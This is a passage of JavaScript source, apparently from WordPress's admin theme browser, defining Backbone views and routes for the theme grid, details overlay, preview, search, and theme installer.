		if ( this.model.get( 'displayAuthor' ) ) {
			this.$el.addClass( 'display-author' );
		}
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		if ( this.model.get( 'active' ) ) {
			this.$el.addClass( 'active' );
		}
	},

	// Add class of focus to the theme we are focused on.
	addFocus: function() {
		var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');

		$('.theme.focus').removeClass('focus');
		$themeToFocus.addClass('focus');
	},

	// Single theme overlay screen.
	// It's shown when clicking a theme.
	expand: function( event ) {
		var self = this;

		event = event || window.event;

		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
			return;
		}

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Prevent the modal from showing when the user clicks
		// one of the direct action buttons.
		if ( $( event.target ).is( '.theme-actions a' ) ) {
			return;
		}

		// Prevent the modal from showing when the user clicks one of the direct action buttons.
		if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
			return;
		}

		// Set focused theme to current element.
		themes.focusedTheme = this.$el;

		this.trigger( 'theme:expand', self.model.cid );
	},

	preventExpand: function() {
		this.touchDrag = true;
	},

	preview: function( event ) {
		var self = this,
			current, preview;

		event = event || window.event;

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Allow direct link path to installing a theme.
		if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
			return;
		}

		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
			return;
		}

		// Pressing Enter while focused on the buttons shouldn't open the preview.
		if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
			return;
		}

		event.preventDefault();

		event = event || window.event;

		// Set focus to current theme.
		themes.focusedTheme = this.$el;

		// Construct a new Preview view.
		themes.preview = preview = new themes.view.Preview({
			model: this.model
		});

		// Render the view and append it.
		preview.render();
		this.setNavButtonsState();

		// Hide previous/next navigation if there is only one theme.
		if ( this.model.collection.length === 1 ) {
			preview.$el.addClass( 'no-navigation' );
		} else {
			preview.$el.removeClass( 'no-navigation' );
		}

		// Append preview.
		$( 'div.wrap' ).append( preview.el );

		// Listen to our preview object
		// for `theme:next` and `theme:previous` events.
		this.listenTo( preview, 'theme:next', function() {

			// Keep local track of current theme model.
			current = self.model;

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get next theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				self.options.parent.parent.trigger( 'theme:end' );
				return self.current = current;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( '.next-theme' ).trigger( 'focus' );
		})
		.listenTo( preview, 'theme:previous', function() {

			// Keep track of current theme model.
			current = self.model;

			// Bail early if we are at the beginning of the collection.
			if ( self.model.collection.indexOf( self.current ) === 0 ) {
				return;
			}

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get previous theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				return;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( '.previous-theme' ).trigger( 'focus' );
		});

		this.listenTo( preview, 'preview:close', function() {
			self.current = self.model;
		});

	},

	// Handles .disabled classes for previous/next buttons in theme installer preview.
	setNavButtonsState: function() {
		var $themeInstaller = $( '.theme-install-overlay' ),
			current = _.isUndefined( this.current ) ? this.model : this.current,
			previousThemeButton = $themeInstaller.find( '.previous-theme' ),
			nextThemeButton = $themeInstaller.find( '.next-theme' );

		// Disable previous at the zero position.
		if ( 0 === this.model.collection.indexOf( current ) ) {
			previousThemeButton
				.addClass( 'disabled' )
				.prop( 'disabled', true );

			nextThemeButton.trigger( 'focus' );
		}

		// Disable next if the next model is undefined.
		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
			nextThemeButton
				.addClass( 'disabled' )
				.prop( 'disabled', true );

			previousThemeButton.trigger( 'focus' );
		}
	},

	installTheme: function( event ) {
		var _this = this;

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-install-success', function( event, response ) {
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( { 'installed': true } );
			}
			if ( response.blockTheme ) {
				_this.model.set( { 'block_theme': true } );
			}
		} );

		wp.updates.installTheme( {
			slug: $( event.target ).data( 'slug' )
		} );
	},

	updateTheme: function( event ) {
		var _this = this;

		if ( ! this.model.get( 'hasPackage' ) ) {
			return;
		}

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-update-success', function( event, response ) {
			_this.model.off( 'change', _this.render, _this );
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.model.on( 'change', _this.render, _this );
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
		} );
	}
});

// Theme Details view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Details = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: 'theme-overlay',

	events: {
		'click': 'collapse',
		'click .delete-theme': 'deleteTheme',
		'click .left': 'previousTheme',
		'click .right': 'nextTheme',
		'click #update-theme': 'updateTheme',
		'click .toggle-auto-update': 'autoupdateState'
	},

	// The HTML template for the theme overlay.
	html: themes.template( 'theme-single' ),

	render: function() {
		var data = this.model.toJSON();
		this.$el.html( this.html( data ) );
		// Renders active theme styles.
		this.activeTheme();
		// Set up navigation events.
		this.navigation();
		// Checks screenshot size.
		this.screenshotCheck( this.$el );
		// Contain "tabbing" inside the overlay.
		this.containFocus( this.$el );
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		// Check the model has the active property.
		this.$el.toggleClass( 'active', this.model.get( 'active' ) );
	},

	// Set initial focus and constrain tabbing within the theme browser modal.
	containFocus: function( $el ) {

		// Set initial focus on the primary action control.
		_.delay( function() {
			$( '.theme-overlay' ).trigger( 'focus' );
		}, 100 );

		// Constrain tabbing within the modal.
		$el.on( 'keydown.wp-themes', function( event ) {
			var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
				$lastFocusable = $el.find( '.theme-actions a:visible' ).last();

			// Check for the Tab key.
			if ( 9 === event.which ) {
				if ( $firstFocusable[0] === event.target && event.shiftKey ) {
					$lastFocusable.trigger( 'focus' );
					event.preventDefault();
				} else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
					$firstFocusable.trigger( 'focus' );
					event.preventDefault();
				}
			}
		});
	},

	// Single theme overlay screen.
	// It's shown when clicking a theme.
	collapse: function( event ) {
		var self = this,
			scroll;

		event = event || window.event;

		// Prevent collapsing detailed view when there is only one theme available.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		// Detect if the click is inside the overlay and don't close it
		// unless the target was the div.back button.
		if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {

			// Add a temporary closing class while overlay fades out.
			$( 'body' ).addClass( 'closing-overlay' );

			// With a quick fade out animation.
			this.$el.fadeOut( 130, function() {
				// Clicking outside the modal box closes the overlay.
				$( 'body' ).removeClass( 'closing-overlay' );
				// Handle event cleanup.
				self.closeOverlay();

				// Get scroll position to avoid jumping to the top.
				scroll = document.body.scrollTop;

				// Clean the URL structure.
				themes.router.navigate( themes.router.baseUrl( '' ) );

				// Restore scroll position.
				document.body.scrollTop = scroll;

				// Return focus to the theme div.
				if ( themes.focusedTheme ) {
					themes.focusedTheme.find('.more-details').trigger( 'focus' );
				}
			});
		}
	},

	// Handles .disabled classes for next/previous buttons.
	navigation: function() {

		// Disable Left/Right when at the start or end of the collection.
		if ( this.model.cid === this.model.collection.at(0).cid ) {
			this.$el.find( '.left' )
				.addClass( 'disabled' )
				.prop( 'disabled', true );
		}
		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
			this.$el.find( '.right' )
				.addClass( 'disabled' )
				.prop( 'disabled', true );
		}
	},

	// Performs the actions to effectively close
	// the theme details overlay.
	closeOverlay: function() {
		$( 'body' ).removeClass( 'modal-open' );
		this.remove();
		this.unbind();
		this.trigger( 'theme:collapse' );
	},

	// Set state of the auto-update settings link after it has been changed and saved.
	autoupdateState: function() {
		var callback,
			_this = this;

		// Support concurrent clicks in different Theme Details overlays.
		callback = function( event, data ) {
			var autoupdate;
			if ( _this.model.get( 'id' ) === data.asset ) {
				autoupdate = _this.model.get( 'autoupdate' );
				autoupdate.enabled = 'enable' === data.state;
				_this.model.set( { autoupdate: autoupdate } );
				$( document ).off( 'wp-auto-update-setting-changed', callback );
			}
		};

		// Triggered in updates.js
		$( document ).on( 'wp-auto-update-setting-changed', callback );
	},

	updateTheme: function( event ) {
		var _this = this;
		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-update-success', function( event, response ) {
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.render();
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).data( 'slug' )
		} );
	},

	deleteTheme: function( event ) {
		var _this = this,
		    _collection = _this.model.collection,
		    _themes = themes;
		event.preventDefault();

		// Confirmation dialog for deleting a theme.
		if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).one( 'wp-theme-delete-success', function( event, response ) {
			_this.$el.find( '.close' ).trigger( 'click' );
			$( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
				$( this ).remove();
				_themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );

				$( '.wp-filter-search' ).val( '' );
				_collection.doSearch( '' );
				_collection.remove( _this.model );
				_collection.trigger( 'themes:update' );
			} );
		} );

		wp.updates.deleteTheme( {
			slug: this.model.get( 'id' )
		} );
	},

	nextTheme: function() {
		var self = this;
		self.trigger( 'theme:next', self.model.cid );
		return false;
	},

	previousTheme: function() {
		var self = this;
		self.trigger( 'theme:previous', self.model.cid );
		return false;
	},

	// Checks if the theme screenshot is the old 300px width version
	// and adds a corresponding class if it's true.
	screenshotCheck: function( el ) {
		var screenshot, image;

		screenshot = el.find( '.screenshot img' );
		image = new Image();
		image.src = screenshot.attr( 'src' );

		// Width check.
		if ( image.width && image.width <= 300 ) {
			el.addClass( 'small-screenshot' );
		}
	}
});

// Theme Preview view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Preview = themes.view.Details.extend({

	className: 'wp-full-overlay expanded',
	el: '.theme-install-overlay',

	events: {
		'click .close-full-overlay': 'close',
		'click .collapse-sidebar': 'collapse',
		'click .devices button': 'previewDevice',
		'click .previous-theme': 'previousTheme',
		'click .next-theme': 'nextTheme',
		'keyup': 'keyEvent',
		'click .theme-install': 'installTheme'
	},

	// The HTML template for the theme preview.
	html: themes.template( 'theme-preview' ),

	render: function() {
		var self = this,
			currentPreviewDevice,
			data = this.model.toJSON(),
			$body = $( document.body );

		$body.attr( 'aria-busy', 'true' );

		this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );

		currentPreviewDevice = this.$el.data( 'current-preview-device' );
		if ( currentPreviewDevice ) {
			self.tooglePreviewDeviceButtons( currentPreviewDevice );
		}

		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );

		this.$el.fadeIn( 200, function() {
			$body.addClass( 'theme-installer-active full-overlay-active' );
		});

		this.$el.find( 'iframe' ).one( 'load', function() {
			self.iframeLoaded();
		});
	},

	iframeLoaded: function() {
		this.$el.addClass( 'iframe-ready' );
		$( document.body ).attr( 'aria-busy', 'false' );
	},

	close: function() {
		this.$el.fadeOut( 200, function() {
			$( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );

			// Return focus to the theme div.
			if ( themes.focusedTheme ) {
				themes.focusedTheme.find('.more-details').trigger( 'focus' );
			}
		}).removeClass( 'iframe-ready' );

		// Restore the previous browse tab if available.
		if ( themes.router.selectedTab ) {
			themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
			themes.router.selectedTab = false;
		} else {
			themes.router.navigate( themes.router.baseUrl( '' ) );
		}
		this.trigger( 'preview:close' );
		this.undelegateEvents();
		this.unbind();
		return false;
	},

	collapse: function( event ) {
		var $button = $( event.currentTarget );
		if ( 'true' === $button.attr( 'aria-expanded' ) ) {
			$button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
		} else {
			$button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
		}

		this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
		return false;
	},

	previewDevice: function( event ) {
		var device = $( event.currentTarget ).data( 'device' );

		this.$el
			.removeClass( 'preview-desktop preview-tablet preview-mobile' )
			.addClass( 'preview-' + device )
			.data( 'current-preview-device', device );

		this.tooglePreviewDeviceButtons( device );
	},

	tooglePreviewDeviceButtons: function( newDevice ) {
		var $devices = $( '.wp-full-overlay-footer .devices' );

		$devices.find( 'button' )
			.removeClass( 'active' )
			.attr( 'aria-pressed', false );

		$devices.find( 'button.preview-' + newDevice )
			.addClass( 'active' )
			.attr( 'aria-pressed', true );
	},

	keyEvent: function( event ) {
		// The escape key closes the preview.
		if ( event.keyCode === 27 ) {
			this.undelegateEvents();
			this.close();
		}
		// The right arrow key, next theme.
		if ( event.keyCode === 39 ) {
			_.once( this.nextTheme() );
		}

		// The left arrow key, previous theme.
		if ( event.keyCode === 37 ) {
			this.previousTheme();
		}
	},

	installTheme: function( event ) {
		var _this   = this,
		    $target = $( event.target );
		event.preventDefault();

		if ( $target.hasClass( 'disabled' ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-install-success', function() {
			_this.model.set( { 'installed': true } );
		} );

		wp.updates.installTheme( {
			slug: $target.data( 'slug' )
		} );
	}
});

// Controls the rendering of div.themes,
// a wrapper that will hold all the theme elements.
themes.view.Themes = wp.Backbone.View.extend({

	className: 'themes wp-clearfix',
	$overlay: $( 'div.theme-overlay' ),

	// Number to keep track of scroll position
	// while in theme-overlay mode.
	index: 0,

	// The theme count element.
	count: $( '.wrap .theme-count' ),

	// The live themes count.
	liveThemeCount: 0,

	initialize: function( options ) {
		var self = this;

		// Set up parent.
		this.parent = options.parent;

		// Set current view to [grid].
		this.setView( 'grid' );

		// Move the active theme to the beginning of the collection.
		self.currentTheme();

		// When the collection is updated by user input...
		this.listenTo( self.collection, 'themes:update', function() {
			self.parent.page = 0;
			self.currentTheme();
			self.render( this );
		} );

		// Update theme count to full result set when available.
		this.listenTo( self.collection, 'query:success', function( count ) {
			if ( _.isNumber( count ) ) {
				self.count.text( count );
				self.announceSearchResults( count );
			} else {
				self.count.text( self.collection.length );
				self.announceSearchResults( self.collection.length );
			}
		});

		this.listenTo( self.collection, 'query:empty', function() {
			$( 'body' ).addClass( 'no-results' );
		});

		this.listenTo( this.parent, 'theme:scroll', function() {
			self.renderThemes( self.parent.page );
		});

		this.listenTo( this.parent, 'theme:close', function() {
			if ( self.overlay ) {
				self.overlay.closeOverlay();
			}
		} );

		// Bind keyboard events.
		$( 'body' ).on( 'keyup', function( event ) {
			if ( ! self.overlay ) {
				return;
			}

			// Bail if the filesystem credentials dialog is shown.
			if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
				return;
			}

			// Pressing the right arrow key fires a theme:next event.
			if ( event.keyCode === 39 ) {
				self.overlay.nextTheme();
			}

			// Pressing the left arrow key fires a theme:previous event.
			if ( event.keyCode === 37 ) {
				self.overlay.previousTheme();
			}

			// Pressing the escape key fires a theme:collapse event.
			if ( event.keyCode === 27 ) {
				self.overlay.collapse( event );
			}
		});
	},

	// Manages rendering of theme pages
	// and keeping theme count in sync.
	render: function() {
		// Clear the DOM, please.
		this.$el.empty();

		// If the user doesn't have switch capabilities or there is only one theme
		// in the collection, render the detailed view of the active theme.
		if ( themes.data.themes.length === 1 ) {

			// Constructs the view.
			this.singleTheme = new themes.view.Details({
				model: this.collection.models[0]
			});

			// Render and apply a 'single-theme' class to our container.
			this.singleTheme.render();
			this.$el.addClass( 'single-theme' );
			this.$el.append( this.singleTheme.el );
		}

		// Generate the themes using page instance
		// while checking the collection has items.
		if ( this.options.collection.size() > 0 ) {
			this.renderThemes( this.parent.page );
		}

		// Display a live theme count for the collection.
		this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
		this.count.text( this.liveThemeCount );

		/*
		 * In the theme installer the themes count is already announced
		 * because `announceSearchResults` is called on `query:success`.
		 */
		if ( ! themes.isInstall ) {
			this.announceSearchResults( this.liveThemeCount );
		}
	},

	// Iterates through each instance of the collection
	// and renders each theme module.
	renderThemes: function( page ) {
		var self = this;

		self.instance = self.collection.paginate( page );

		// If we have no more themes, bail.
		if ( self.instance.size() === 0 ) {
			// Fire a no-more-themes event.
			this.parent.trigger( 'theme:end' );
			return;
		}

		// Make sure the add-new stays at the end.
		if ( ! themes.isInstall && page >= 1 ) {
			$( '.add-new-theme' ).remove();
		}

		// Loop through the themes and setup each theme view.
		self.instance.each( function( theme ) {
			self.theme = new themes.view.Theme({
				model: theme,
				parent: self
			});

			// Render the views...
			self.theme.render();
			// ...and append them to div.themes.
			self.$el.append( self.theme.el );

			// Binds to theme:expand to show the modal box
			// with the theme details.
			self.listenTo( self.theme, 'theme:expand', self.expand, self );
		});

		// 'Add new theme' element shown at the end of the grid.
		if ( ! themes.isInstall && themes.data.settings.canInstall ) {
			this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
		}

		this.parent.page++;
	},

	// Grabs current theme and puts it at the beginning of the collection.
	currentTheme: function() {
		var self = this,
			current;

		current = self.collection.findWhere({ active: true });

		// Move the active theme to the beginning of the collection.
		if ( current ) {
			self.collection.remove( current );
			self.collection.add( current, { at:0 } );
		}
	},

	// Sets current view.
	setView: function( view ) {
		return view;
	},

	// Renders the overlay with the ThemeDetails view.
	// Uses the current model data.
	expand: function( id ) {
		var self = this, $card, $modal;

		// Set the current theme model.
		this.model = self.collection.get( id );

		// Trigger a route update for the current model.
		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );

		// Sets this.view to 'detail'.
		this.setView( 'detail' );
		$( 'body' ).addClass( 'modal-open' );

		// Set up the theme details view.
		this.overlay = new themes.view.Details({
			model: self.model
		});

		this.overlay.render();

		if ( this.model.get( 'hasUpdate' ) ) {
			$card  = $( '[data-slug="' + this.model.id + '"]' );
			$modal = $( this.overlay.el );

			if ( $card.find( '.updating-message' ).length ) {
				$modal.find( '.notice-warning h3' ).remove();
				$modal.find( '.notice-warning' )
					.removeClass( 'notice-large' )
					.addClass( 'updating-message' )
					.find( 'p' ).text( wp.updates.l10n.updating );
			} else if ( $card.find( '.notice-error' ).length ) {
				$modal.find( '.notice-warning' ).remove();
			}
		}

		this.$overlay.html( this.overlay.el );

		// Bind to theme:next and theme:previous triggered by the arrow keys.
		// Keep track of the current model so we can infer an index position.
		this.listenTo( this.overlay, 'theme:next', function() {
			// Renders the next theme on the overlay.
			self.next( [ self.model.cid ] );

		})
		.listenTo( this.overlay, 'theme:previous', function() {
			// Renders the previous theme on the overlay.
			self.previous( [ self.model.cid ] );
		});
	},

	/*
	 * This method renders the next theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	next: function( args ) {
		var self = this,
			model, nextModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the next model within the collection.
		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );

		// Sanity check which also serves as a boundary test.
		if ( nextModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( 'theme:expand', nextModel.cid );

		}
	},

	/*
	 * This method renders the previous theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	previous: function( args ) {
		var self = this,
			model, previousModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the previous model within the collection.
		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );

		if ( previousModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( 'theme:expand', previousModel.cid );

		}
	},

	// Dispatch audible search results feedback message.
	announceSearchResults: function( count ) {
		if ( 0 === count ) {
			wp.a11y.speak( l10n.noThemesFound );
		} else {
			wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
		}
	}
});

// Search input view controller.
themes.view.Search = wp.Backbone.View.extend({

	tagName: 'input',
	className: 'wp-filter-search',
	id: 'wp-filter-search-input',
	searching: false,

	attributes: {
		placeholder: l10n.searchPlaceholder,
		type: 'search',
		'aria-describedby': 'live-search-desc'
	},

	events: {
		'input': 'search',
		'keyup': 'search',
		'blur': 'pushState'
	},

	initialize: function( options ) {

		this.parent = options.parent;

		this.listenTo( this.parent, 'theme:close', function() {
			this.searching = false;
		} );

	},

	search: function( event ) {
		// Clear on escape.
		if ( event.type === 'keyup' && event.which === 27 ) {
			event.target.value = '';
		}

		// Since doSearch is debounced, it will only run when user input comes to a rest.
		this.doSearch( event );
	},

	// Runs a search on the theme collection.
	doSearch: function( event ) {
		var options = {};

		this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );

		// if search is initiated and key is not return.
		if ( this.searching && event.which !== 13 ) {
			options.replace = true;
		} else {
			this.searching = true;
		}

		// Update the URL hash.
		if ( event.target.value ) {
			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
		} else {
			themes.router.navigate( themes.router.baseUrl( '' ) );
		}
	},

	pushState: function( event ) {
		var url = themes.router.baseUrl( '' );

		if ( event.target.value ) {
			url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
		}

		this.searching = false;
		themes.router.navigate( url );

	}
});

/**
 * Navigate router.
 *
 * @since 4.9.0
 *
 * @param {string} url - URL to navigate to.
 * @param {Object} state - State.
 * @return {void}
 */
function navigateRouter( url, state ) {
	var router = this;
	if ( Backbone.history._hasPushState ) {
		Backbone.Router.prototype.navigate.call( router, url, state );
	}
}

// Sets up the routes events for relevant url queries.
// Listens to [theme] and [search] params.
themes.Router = Backbone.Router.extend({

	routes: {
		'themes.php?theme=:slug': 'theme',
		'themes.php?search=:query': 'search',
		'themes.php?s=:query': 'search',
		'themes.php': 'themes',
		'': 'themes'
	},

	baseUrl: function( url ) {
		return 'themes.php' + url;
	},

	themePath: '?theme=',
	searchPath: '?search=',

	search: function( query ) {
		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
	},

	themes: function() {
		$( '.wp-filter-search' ).val( '' );
	},

	navigate: navigateRouter

});

// Execute and setup the application.
themes.Run = {
	init: function() {
		// Initializes the blog's theme library view.
		// Create a new collection with data.
		this.themes = new themes.Collection( themes.data.themes );

		// Set up the view.
		this.view = new themes.view.Appearance({
			collection: this.themes
		});

		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this;
		// Bind to our global thx object
		// so that the object is available to sub-views.
		themes.router = new themes.Router();

		// Handles theme details route event.
		themes.router.on( 'route:theme', function( slug ) {
			self.view.view.expand( slug );
		});

		themes.router.on( 'route:themes', function() {
			self.themes.doSearch( '' );
			self.view.trigger( 'theme:close' );
		});

		// Handles search route event.
		themes.router.on( 'route:search', function() {
			$( '.wp-filter-search' ).trigger( 'keyup' );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Extend the main Search view.
themes.view.InstallerSearch =  themes.view.Search.extend({

	events: {
		'input': 'search',
		'keyup': 'search'
	},

	terms: '',

	// Handles Ajax request for searching through themes in public repo.
	search: function( event ) {

		// Tabbing or reverse tabbing into the search input shouldn't trigger a search.
		if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
			return;
		}

		this.collection = this.options.parent.view.collection;

		// Clear on escape.
		if ( event.type === 'keyup' && event.which === 27 ) {
			event.target.value = '';
		}

		this.doSearch( event.target.value );
	},

	doSearch: function( value ) {
		var request = {};

		// Don't do anything if the search terms haven't changed.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		request.search = value;

		/*
		 * Intercept an [author] search.
		 *
		 * If input value starts with `author:` send a request
		 * for `author` instead of a regular `search`.
		 */
		if ( value.substring( 0, 7 ) === 'author:' ) {
			request.search = '';
			request.author = value.slice( 7 );
		}

		/*
		 * Intercept a [tag] search.
		 *
		 * If input value starts with `tag:` send a request
		 * for `tag` instead of a regular `search`.
		 */
		if ( value.substring( 0, 4 ) === 'tag:' ) {
			request.search = '';
			request.tag = [ value.slice( 4 ) ];
		}

		$( '.filter-links li > a.current' )
			.removeClass( 'current' )
			.removeAttr( 'aria-current' );

		$( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );

		// Set route.
		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
	}
});

themes.view.Installer = themes.view.Appearance.extend({

	el: '#wpbody-content .wrap',

	// Register events for sorting and filters in theme-navigation.
	events: {
		'click .filter-links li > a': 'onSort',
		'click .theme-filter': 'onFilter',
		'click .drawer-toggle': 'moreFilters',
		'click .filter-drawer .apply-filters': 'applyFilters',
		'click .filter-group [type="checkbox"]': 'addFilter',
		'click .filter-drawer .clear-filters': 'clearFilters',
		'click .edit-filters': 'backToFilters',
		'click .favorites-form-submit' : 'saveUsername',
		'keyup #wporg-username-input': 'saveUsername'
	},

	// Initial render method.
	render: function() {
		var self = this;

		this.search();
		this.uploader();

		this.collection = new themes.Collection();

		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
		this.listenTo( this, 'theme:end', function() {

			// Make sure we are not already loading.
			if ( self.collection.loadingThemes ) {
				return;
			}

			// Set loadingThemes to true and bump page instance of currentQuery.
			self.collection.loadingThemes = true;
			self.collection.currentQuery.page++;

			// Use currentQuery.page to build the themes request.
			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
			self.collection.query( self.collection.currentQuery.request );
		});

		this.listenTo( this.collection, 'query:success', function() {
			$( 'body' ).removeClass( 'loading-content' );
			$( '.theme-browser' ).find( 'div.error' ).remove();
		});

		this.listenTo( this.collection, 'query:fail', function() {
			$( 'body' ).removeClass( 'loading-content' );
			$( '.theme-browser' ).find( 'div.error' ).remove();
			$( '.theme-browser' ).find( 'div.themes' ).before( '<div class="error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
			$( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
				e.preventDefault();
				$( 'input.wp-filter-search' ).trigger( 'input' );
			} );
		});

		if ( this.view ) {
			this.view.remove();
		}

		// Sets up the view and passes the section argument.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Reset pagination every time the install view handler is run.
		this.page = 0;

		// Render and append.
		this.$el.find( '.themes' ).remove();
		this.view.render();
		this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
	},

	// Handles all the rendering of the public theme directory.
	browse: function( section ) {
		// Create a new collection with the proper theme data
		// for each section.
		if ( 'block-themes' === section ) {
			// Get the themes by sending Ajax POST request to api.wordpress.org/themes
			// or searching the local cache.
			this.collection.query( { tag: 'full-site-editing' } );
		} else {
			this.collection.query( { browse: section } );
		}
	},

	// Sorting navigation.
	onSort: function( event ) {
		var $el = $( event.target ),
			sort = $el.data( 'sort' );

		event.preventDefault();

		$( 'body' ).removeClass( 'filters-applied show-filters' );
		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		this.sort( sort );

		// Trigger a router.navigate update.
		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
	},

	sort: function( sort ) {
		this.clearSearch();

		// Track sorting so we can restore the correct tab when closing preview.
		themes.router.selectedTab = sort;

		$( '.filter-links li > a, .theme-filter' )
			.removeClass( this.activeClass )
			.removeAttr( 'aria-current' );

		$( '[data-sort="' + sort + '"]' )
			.addClass( this.activeClass )
			.attr( 'aria-current', 'page' );

		if ( 'favorites' === sort ) {
			$( 'body' ).addClass( 'show-favorites-form' );
		} else {
			$( 'body' ).removeClass( 'show-favorites-form' );
		}

		this.browse( sort );
	},

	// Filters and Tags.
	onFilter: function( event ) {
